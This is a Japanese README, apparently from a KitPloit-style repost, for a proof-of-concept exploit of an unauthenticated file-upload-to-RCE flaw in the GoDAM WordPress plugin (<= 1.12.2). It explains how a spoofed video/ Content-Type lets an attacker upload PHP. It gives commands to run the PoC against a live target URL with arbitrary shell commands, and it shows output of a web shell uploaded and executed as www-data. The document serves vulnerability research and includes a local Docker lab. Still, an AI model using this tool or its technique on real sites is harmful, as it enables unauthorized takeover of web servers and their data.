CVE-2026-14282 — GoDAM WordPress プラグイン <= 1.12.2 認証なしファイルアップロード -> RCE

著者: nullwhisper
用途: 認可されたセキュリティ調査 / 脆弱性検証のみ。

これは何ですか？

GoDAM WordPress プラグインバージョン <= 1.12.2 は、godam_record という WPForms フィールドを登録します。アップロードハンドラ save_video_file() は公開の wpforms_process_before_filter アクションにフックされるため、認証チェックの前に実行されます。このハンドラは攻撃者が制御する Content-Type ヘッダーを信頼し、MIME タイプが video/ で始まる限り PHP ファイルを受け入れ、それを Web 公開ディレクトリ wp-content/uploads/godam/wpforms/ に移動します。これにより、認証されていない攻撃者が任意の PHP コードをアップロードして実行できます。

• CVE: CVE-2026-14282
• 製品: GoDAM WordPress プラグイン
• 影響を受けるバージョン: <= 1.12.2
• 修正済み: 2.0.0
• タイプ: 認証なしの任意ファイルアップロードによる RCE
• CVSS: 9.8 (緊急)

参考文献

• IONIX アドバイザリ: https://www.ionix.io/threat-center/cve-2026-14282/
• CVE レコード: https://www.cve.org/CVERecord?id=CVE-2026-14282
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-14282
• WordPress.org プラグインページ: https://wordpress.org/plugins/godam/

ファイル

.
├── cve_2026_14282_poc.py   # Main PoC
├── lab/
│   ├── docker-compose.yml  # WordPress lab
│   └── setup.php           # Creates a WPForms form with GoDAM field
├── requirements.txt
└── README.md

インストール

pip3 install -r requirements.txt

使用方法

ライブ対象

python3 cve_2026_14282_poc.py -u https://target.com/page-with-form

スクリプトは WPForms のフォーム ID と GoDAM フィールド ID を自動検出します。ページに複数のフォームが含まれる場合や検出に失敗した場合は、次を使用してください:

python3 cve_2026_14282_poc.py -u https://target.com/page-with-form \
    --form-id 4 --field-id 1 --cmd "whoami"

ローカルラボ

1. 脆弱性のあるプラグインをダウンロードします（バイナリを再配布しないでください）:

   root@kitploit:~

   mkdir -p lab/wpforms-lite lab/godam
   cd lab/wpforms-lite
   wget https://downloads.wordpress.org/plugin/wpforms-lite.latest-stable.zip
   unzip wpforms-lite.latest-stable.zip
   rm wpforms-lite.latest-stable.zip
   cd ../godam
   wget https://downloads.wordpress.org/plugin/godam.1.12.2.zip
   unzip godam.1.12.2.zip
   rm godam.1.12.2.zip
   cd ../..
   

2. ラボを起動します:

   root@kitploit:~

   cd lab
   docker compose up -d
   

3. http://127.0.0.1:8092 で WordPress インストーラーを完了します。

4. プラグインをインストールして有効化し、フォームとテストページを作成します:

   root@kitploit:~

   docker exec -i lab-wpcli-1 wp plugin activate wpforms-lite --allow-root
   docker exec -i lab-wpcli-1 wp plugin activate godam --allow-root
   docker exec -i lab-wpcli-1 php /tmp/setup.php
   

5. PoC を実行します:

   root@kitploit:~

   python3 cve_2026_14282_poc.py -u 'http://127.0.0.1:8092/?page_id=7' --cmd 'echo PWNED'
   

ローカルホストでの検証

WordPress 6.8 + WPForms Lite 最新版 + GoDAM 1.12.2 でテスト済み。

[*] Detecting WPForms form and GoDAM field...
[*] Found form ID 4, GoDAM field(s): 1
[*] Trying upload via field 1...
[+] Shell uploaded and executed: http://127.0.0.1:8092/wp-content/uploads/godam/wpforms/godam-shell.php
[+] Output: GODAM-RCE-Linux ... uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Command output:
GODAM-RCE-Linux ... PWNED

プラグインバイナリを含めない理由

このリポジトリには PoC とラボのオーケストレーションファイルのみが含まれています。脆弱性のあるプラグインバイナリは肥大化と配布の問題を避けるために除外されています。自身のラボ用に WordPress.org から該当する脆弱性のあるバージョンをダウンロードしてください。

免責事項

このツールは許可されたセキュリティテストおよび研究専用です。所有していないシステム、またはテストする明示的な許可がないシステムに対して使用しないでください。著者は、このコードによって引き起こされた誤用や損害について責任を負いません。